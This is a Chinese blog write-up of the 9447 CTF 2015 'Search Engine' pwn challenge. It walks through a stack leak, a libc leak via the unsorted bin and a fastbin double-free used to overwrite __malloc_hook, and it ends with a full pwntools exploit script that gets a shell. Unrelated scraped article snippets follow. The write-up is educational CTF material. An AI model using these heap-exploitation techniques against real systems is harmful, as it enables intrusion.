CTF 2015: Search Engine-fastbin_dup_into_stack
参考:
[1]https://gsgx.me/posts/9447-ctf-2015-search-engine-writeup/
[2]https://blog.csdn.net/weixin_38419913/article/details/103238963(掌握利用点,省略各种逆向细节)
[3]https://bbs.kanxue.com/thread-267876.htm(逆向调试详解)
[4]https://bbs.kanxue.com/thread-247219.htm(双解法)
1,三连
2,IDA分析
首先了解程序的基本功能对应函数:

如何泄露栈上地址

进入choose_num看实现代码,通过观察read_num最终就是fread实现的:
注意:这里开始ida自动生成把48变成了0,怎么也没看出怎么泄露的。
手动转为十进制:

泄漏原因:nptr给的空间大小是56,但是实际只读入了48长度,意味着读入后的值nptr[48]≠NULL,所以能继续print出nptr[49]~nptr[56]。细节!
效果:
上图第一次执行就验证说明了不一定每次都泄露。我们就是要利用它来尝试泄露栈上地址。
贴张更详细的注释[3]:

index
参考[3]

重点-还是泄露:接着调用input函数往sentence chunk 输入句子的内容,这里第三个参数为0,所以,如果后面打印sentence的句子,可能泄漏数据。
验证:直接gdb调试,断点下载input函数-这里是0x400c4a
gdb search
b *0x400c4a29
然后执行输入传入的sentence内容
ni
aaaa aaaa //中间一个空格x/10gx 0x603420-0x10

可以看到sentence_mem开始9个字节由低到高是:616161612061616161,没有\x00。所以,如果我们输入的句子长一点,把sentence chunk填满,那么可以打印下一个chunk。
Search
通过代码分析出每个输入的word会被创建一个结构体管理:
结构体内容推测如下[2]:

struct word {word_ptr //指向每个word的起始地址 [i一直在加上偏移观察出]word_size //每个word的大小 [*(_DWORD *)(i + 8) == v0观察出]sentence_ptr //指向句子的起始地址 [fwrite(*(const void **)(i + 16), 1uLL, *(int *)(i + 24), stdout);]sentence_size //每一个句子的大小 [fwrite(*(const void **)(i + 16), 1uLL, *(int *)(i + 24), stdout);]pre_word_ptr //指向上一个word struct的指针[i = *(_QWORD *)(i + 32)观察出]
}
1,输入word的大小和内容,以输入的大小为size malloc一个堆。
2,从最后一个word struct开始找起,通过每个struct的pre_word_ptr一直向前找。
3,这里有两个check。第一,当前的word_struct的sentence ptr指向的内容不能为空。

第二,当前的word_struct中的size字段要和输入的word的size大小一致,并且通zmemcmp(word_struct->word_ptr, word_ptr, size)来比较输入的word内容和当前struct的word ptr指向的内容是否一致。
4,通过这两个check之后,打印该word struct对应的sentence_ptr内容。
5,询问是否删除句子,如果删除的话,就清空该sentence中的内容,并且把该word_struct中的sentence_ptr指针free掉
注意这里free之后没有把sentence_ptr指针设置为空,存在漏洞,之后可以通过double free来进行一个利用-UAF。

利用思路
unsort_bin泄露libc,通过如下来实现
- read_num((__int64)nptr, 48, 1);输入48个非数字字符,字符串不会有\x00结尾,打印函数会泄漏栈里的数据;而且全部输入非数字字符,会提示非法并一直让输入。
UAF实现任意地址分配然后写:fastbin_dup_into_stack利用
- 搜索单词的search函数:删除句子的地方存在UAF漏洞/Double Free漏洞。
3,实际操作
泄漏libc
这里利用free掉一个非fast chunk的块,会落入unsorted bin之中,如果此时unsorted bin中只有这一个free的块并且这个块的下一个块不是top chunk,那么此时这个块的fd和bk均指向main_arena+88这个地址。而main_arena和libc的偏移是固定的,由此可以泄漏出libc的地址。
所以我们先通过index_a_sentence来申请一个size大小大于0x70(实际chunk大小大于0x80)的块,再把它free掉落入unsorted bin中,并且由于free之后指针并没有被清空,只要我们绕过之前说的那两个check就能打印出sentence中的内容(就是fd和bk的指针值)来泄漏libc的地址。
两个check的绕过可以通过这样的思路:第一个check是检查sentence中的内容是否为空,由于我们free的chunk大小大于fast chunk且不和top chunk紧邻,所以fd,bk中都有值。此时的堆内存的布局为:
第二个check是要检查输入的word和实际的word的值是否一致。由于之前sentence内容被清空且被free,布局如上图所示。所以我们只需要search的word为\x00就可以了pass这个check。 不过要注意第一次建立sentence的时候要建立如“A”*0x80 + “ “ + ”B”。不能是“B” + “ ” + “A”*0x80,否则由于fd,bk指针的缘故就不能输入\x00来pass这个check。(如果是后者," "位置会被bk填充了,搜索\x00就无法绕过)
总体的泄漏libc的脚本如下:
def leak():unsorted_bin_sentece = "s"*0x85 + " m"index_a_sentence(unsorted_bin_sentece)seach_word("m")io.recvuntil("(y/n)?")io.sendline("y")seach_word("\x00")io.recvuntil("Found " + str(len(unsorted_bin_sentece)) + ": ")main_arena_addr = u64(io.recv(6).ljust(8, "\x00")) - 88libc_addr = main_arena_addr - 0x3c4b20io.recvuntil("(y/n)?")io.sendline("n")return libc_addr, main_arena_addr
double free建立循环链表
由于在程序分析时,发现没有对free的指针进行置空。可以造成一个double free。
我们先申请三个fast bin。fastbins的落在0x70(这是因为之后伪造的chunk的size也要落在0x70)
tips: 如果要利用malloc_hook利用,伪造的chunk固定给0x70就好,因为是为了绕过malloc检查fastbin[index]的index。
index_a_sentence("a"*0x5d + " d") #chunk a
index_a_sentence("a"*0x5d + " d") #chunk b
index_a_sentence("a"*0x5d + " d") #chunk c
伪造chunk进行任意写
构造完成一条循环fastbins链之后,可以通过四次malloc来进行任意地址写。此时fastbins的布局为b–>a—>b–>a–>…。第一次malloc,返回chunk b,我们此时修改fd的指针到一个伪造的chunk处(要满足size字段的检测);第二次malloc,返回chunk a;第三次malloc,返回chunk b;
第四次malloc,由于之前把b的fd指针修改了,这个返回的就是伪造chunk的地址。
这里我们想在__malloc_hook地址上写入one gadget,所以我们找一个malloc之前的fake chunk。
这里可以借助pwndgb的find_fake_fast来找
用法 find_fake_fast 想要覆盖的地址 size的大小
poc
one gadget要多尝试几个,就能get shell。
#coding=utf-8
from pwn import *DEBUG = 1
io = process("./search")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
if DEBUG:context.log_level = "debug"context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]def index_a_sentence(sentence):io.recvuntil("Quit\n")io.sendline("2")io.recvuntil("size:")io.sendline(str(len(sentence)))io.recvuntil("sentence:")io.sendline(sentence)def seach_word(word):io.recvuntil("Quit\n")io.sendline("1")io.recvuntil("size:")io.sendline(str(len(word)))io.recvuntil("word:")io.sendline(word)def leak():unsorted_bin_sentece = "s"*0x85 + " m"index_a_sentence(unsorted_bin_sentece)seach_word("m")io.recvuntil("(y/n)?")io.sendline("y")seach_word("\x00")io.recvuntil("Found " + str(len(unsorted_bin_sentece)) + ": ")main_arena_addr = u64(io.recv(6).ljust(8, "\x00")) - 88libc_addr = main_arena_addr - 0x3c4b20io.recvuntil("(y/n)?")io.sendline("n")return libc_addr, main_arena_addrlibc_addr, main_arena_addr = leak()print("libc address: " + hex(libc_addr))index_a_sentence("a"*0x5d + " d") #chunk a
index_a_sentence("a"*0x5d + " d") #chunk b
index_a_sentence("a"*0x5d + " d") #chunk cseach_word("d")
io.recvuntil("(y/n)?")
io.sendline("y") #free c
io.recvuntil("(y/n)?")
io.sendline("y") #free b
io.recvuntil("(y/n)?")
io.sendline("y") #free a
# fastbins 0x70: a->b->cseach_word("\x00")
io.recvuntil("(y/n)?")
io.sendline("y") #free b
# fastbins 0x70: b->a->b->....
# double free 构建了循环链表
io.recvuntil("(y/n)?")
io.sendline("n")
io.recvuntil("(y/n)?")
io.sendline("n")one_gadget_addr = libc_addr + 0xf1247
fake_chunk_addr = main_arena_addr - 51
payload = p64(fake_chunk_addr).ljust(0x60, "a")
index_a_sentence(payload) # return chunk b and edit fd
# fastbins: a->b->fake_chunk notice that fake_chunk size should fall in right fastbins index
index_a_sentence("a"*0x60) # return chunk a
index_a_sentence("a"*0x60) # return chunk b whose fd has been modified
payload = ("a"*19 + p64(one_gadget_addr)).ljust(0x60, "a")#gdb.attach(io)
index_a_sentence(payload)io.interactive()
本菜鸡做pwn以来读的最难懂的程序…难点不在知识点,而难在如何去利用各处的细节漏洞点构成完整的利用链,比house系列还难做:(
参考[2]可以很好的借鉴,屏蔽一些细节,如何实现效果。
相关文章:
CTF 2015: Search Engine-fastbin_dup_into_stack
参考: [1]https://gsgx.me/posts/9447-ctf-2015-search-engine-writeup/ [2]https://blog.csdn.net/weixin_38419913/article/details/103238963(掌握利用点,省略各种逆向细节) [3]https://bbs.kanxue.com/thread-267876.htm(逆向调试详解&am…...
DRF之全局异常处理
一、REST framework 提供了异常处理,我们可以自定义异常处理函数 使用方式: from rest_framewoork.views import exception_handerdef custom_exception_handler(exc,context):# 先调用REST framework默认的异常处理方法获得标准错误响应对象response …...
AI创作工具的使用体验报告
下面是AI创作工具的使用体验报告,围绕以下三点展开: 一、工具的使用体验如何? CSDN博客AI创作工具是一款非常易用的工具,操作简单,可以很快地开始创建内容。在使用过程中,我发现它的语言模型很智能&#…...
C++算法模板(转自acwing)
快速排序算法模板 —— 模板题 AcWing 785. 快速排序 void quick_sort(int q[], int l, int r) {if (l > r) return;int i l - 1, j r 1, x q[l r >> 1];while (i < j){do i ; while (q[i] < x);do j -- ; while (q[j] > x);if (i < j) swap(q[i],…...
阿里云服务器最新优惠价格及最新收费标准(2023更新)
阿里云服务器收费标准分为包年包月和按量付费两种模式,包年包月是一种先付费后使用的计费方式,按量付费是一种先使用后付费的计费方式。选择包年包月的收费模式,用户可以提前预留资源,同时享受更大的价格优惠,帮您更大…...
React实现监听粘贴事件并获取粘贴板中的截图
目录 监听粘贴事件并获取粘贴板中的截图 TSX中给组件添加监听粘贴事件从粘贴板获取截图文件React监听事件 事件监听绑定的事件函数相关扩展 监听粘贴事件并获取粘贴板中的截图 TSX中给组件添加监听粘贴事件 ? 1 2 3 4 5 6 7 8 9 10 11 const pasteImageRef useRef<HTML…...
ISO_IEC_7816-3
介绍 ISO/IEC 7816 是一系列标准,规定了集成电路卡和此类卡的使用 互换。 这些卡是用于在外部世界和卡中的集成电路之间协商的信息交换的识别卡。 作为信息交换的结果,卡传递信息(计算结果、存储的数据)和/或修改其内容࿰…...
学习C#反射(Reflection)
反射提供描述程序集、模块和类型的对象(Type 类型)。 可以使用反射动态地创建类型的实例,将类型绑定到现有对象,或从现有对象中获取类型,然后调用其方法或访问器字段和属性。 如果代码中使用了特性(Attribute)…...
Spring Boot的核心组件和工作原理
引言 Spring Boot是一个快速构建应用程序的框架,通过自动化配置和约定优于配置的原则,可以快速地创建可独立运行的、生产级别的Spring应用程序。Spring Boot的核心组件是自动配置、起步依赖和嵌入式Web服务器。 在本文中,我们将深入了解Spr…...
【指针的深刻理解】
如何看待下面代码中的a变量? #include<stdio.h> int main() {int a 0;//同样的一个a,在不同的表达式中,名称是一样的,但是含义是完全不同的!a 10;//使用的是a的空间:左值int b a; //使用的是a的内容&#x…...
lintcode-图的拓扑排序(java)
拓扑排序 拓扑排序-lintcode原题题目介绍解题思路代码演示解题方法二 (参考,不用掌握)前置知识 图的拓扑序和深度优先遍历和广度优先遍历 拓扑排序-lintcode原题 127.拓扑排序-原题链接,可以点进去测试 题目介绍 描述 给定一个有向图,图节点的拓扑排序定义如下: 对…...
【状态估计】基于随机方法优化PMU优化配置(Matlab代码实现)
💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…...
Rinne Loves Graph
Rinne Loves Graph (nowcoder.com) 链接:登录—专业IT笔试面试备考平台_牛客网 来源:牛客网 题目描述 Island 发生了一场暴乱!现在 Rinne 要和 Setsuna 立马到地上世界去。 众所周知:Island 是有一些奇怪的城镇和道路构成的…...
第15章:索引的数据结构
一、为什么使用索引 1.索引是存储引擎用于快速找到记录的一种数据结构。相当于一本书的目录。在进行数据查找时,首先查看查询条件是否命中某条索引,符合则通过索引查找相关数据。如果不符合则需要全表扫描,一条一条查找记录,直到…...
机械师曙光16电脑开机自动蓝屏怎么解决?
机械师曙光16电脑开机自动蓝屏怎么解决?有的用户在使用机械师曙光16电脑的时候,遇到了一些系统问题,导致自己无法正常的开机使用电脑。因为电脑总会变成蓝屏,无法进行任何操作。那么这个情况怎么去进行问题的解决呢?来…...
机器学习_Lasso回归_ElasticNet回归_PolynomialFeatures算法介绍_02---人工智能工作笔记0037
Lasso回归用的是L1正则化可以看到,这里的alpha就是这里的alpha对吧,就是 L1的权重 然后对于ElasticNet回归来说,这里的alpha可以看到是L1权重的超参数对吧,然后这里的p,表示的是 L2正则里面的(1-p)这里 这里要提一下: L1和L2为什么能防止过拟合,它们有什么区别?通过添加…...
第五篇:强化学习基础之马尔科夫决策过程
你好,我是zhenguo(郭震) 今天总结强化学习第五篇:马尔科夫决策过程 基础 马尔科夫决策过程(MDP)是强化学习的基础之一。下面统一称为:MDP MDP提供了描述序贯决策问题的数学框架。 它将决策问题建模为: 状态…...
Oracle面试题
1. 什么是存储过程,使用存储过程的好处? 存储过程(Stored Procedure )是一组为了完成特定功能的SQL 语句集,经编译后存储在数据库中。用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数&#…...
用Vue写教务系统学生管理
文章目录 一.首先创建新的Demo二.在APP里面绑定DemoStudent三.源码附上四.效果图(新增记录还未实现) 一.首先创建新的Demo 二.在APP里面绑定DemoStudent <template><img alt"Vue logo" src"./assets/logo.png"><!--…...
专门用于管理企业与自己客户之间所有信息的客户管理系统
一、开源项目简介 关于 NXCRM NXCRM 是一套基于 Laravel 的 CRM 应用程序。它包含了一个管理中心,可以管理用户、客户、产品、订单、商机,合同,收款,附件,联系人,跟进动态,发票,业…...
Qwen3-VL-8B-Instruct-GGUF效果展示:同一张餐厅菜单图,模型准确识别菜品+价格+辣度标签
Qwen3-VL-8B-Instruct-GGUF效果展示:同一张餐厅菜单图,模型准确识别菜品价格辣度标签 1. 模型效果惊艳亮相 今天要给大家展示的是一个让人眼前一亮的多模态模型——Qwen3-VL-8B-Instruct-GGUF。这个模型最厉害的地方在于,它能在普通的硬件设…...
抖音批量下载工具终极指南:免费无水印下载视频、图文、合集和直播
抖音批量下载工具终极指南:免费无水印下载视频、图文、合集和直播 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fal…...
雪女-斗罗大陆-造相Z-Turbo与STM32的趣味结合:在嵌入式设备上展示AI生成的艺术
雪女-斗罗大陆-造相Z-Turbo与STM32的趣味结合:在嵌入式设备上展示AI生成的艺术 你有没有想过,把《斗罗大陆》里那位冰清玉洁的雪女,通过最新的AI绘画模型“造相Z-Turbo”生成出来,然后让她在一块小小的、几十块钱的STM32开发板的…...
单稳态vs双稳态电路全对比:从延时控制到状态保持的5个典型应用场景
单稳态与双稳态电路工程实战:5大应用场景深度解析与芯片选型指南 在物联网设备与自动化控制系统中,电路设计往往需要在瞬时响应与状态保持之间寻找平衡点。单稳态与双稳态电路作为两种基础却强大的电路结构,各自在特定场景下展现出独特优势。…...
PHP利用Opcache实现保护源码的示例详解
不用 IonCube(或类似的)。不知道这是啥的话,就是加密 PHP 代码但还能运行的工具。问题是太贵了。性能要好,PHP 原生支持。后来想到,PHP 有个"opcache"功能,能把源码编译成操作码(机器…...
从 AI 助手到 ADT 自动化桥梁:全面解析 Vibing Steampunk 的定位、能力边界与典型使用场合
Vibing Steampunk 这个 GitHub Repository,如果只看名字,很容易让人误以为它只是一个面向 Steampunk,也就是 SAP BTP ABAP environment 的小工具。可一旦把 README、架构文档、CLI 指南和相关实现说明读完,你会发现它的真实定位要大得多:它并不是一个普通的 ABAP 示例项目…...
**管线流程**:模型矩阵 × 视图矩阵 × 投影矩阵 × 顶点 → GPU自动完成裁剪/光栅化
一、二进制、八进制、十六进制的转换方法(通俗版) 本质:都是“逢几进一”的计数法,只是“底数”不同(2/8/16)。 二进制(Base-2):只用 0 和 1,是计算机硬件唯一…...
OpenClaw+Phi-3-mini-128k-instruct:中文长文本处理专项优化
OpenClawPhi-3-mini-128k-instruct:中文长文本处理专项优化 1. 为什么需要中文长文本专项优化? 在日常工作中,我经常需要处理各种中文长文本材料——从几十页的商业合同到上百页的学术论文。这些文档不仅篇幅长,还包含大量专业术…...
LeetCode 二叉树高频双题绝杀!第 k 小元素 + 右视图,小白一遍学会
目录 前言 第一题:二叉搜索树中第 K 小的元素 🎯 题目要求 💡 小白秒懂核心思路 ✅ 完整解题代码 📝 通俗代码解析 第二题:二叉树的右视图 🎯 题目要求 💡 小白秒懂核心思路 ✅ 完整解…...
终极删除命令(强制解锁 + 删文件 + 删目录)
🔥 终极删除命令(强制解锁 删文件 删目录)前言 二、使用步骤 // “E:\Documents\HBuilderProjects\个人简历\tmpim” 是想要删除的文件夹 ① 解锁所有被占用的文件(解决 “正在使用”) cmd taskkill /f /im HBuilde…...
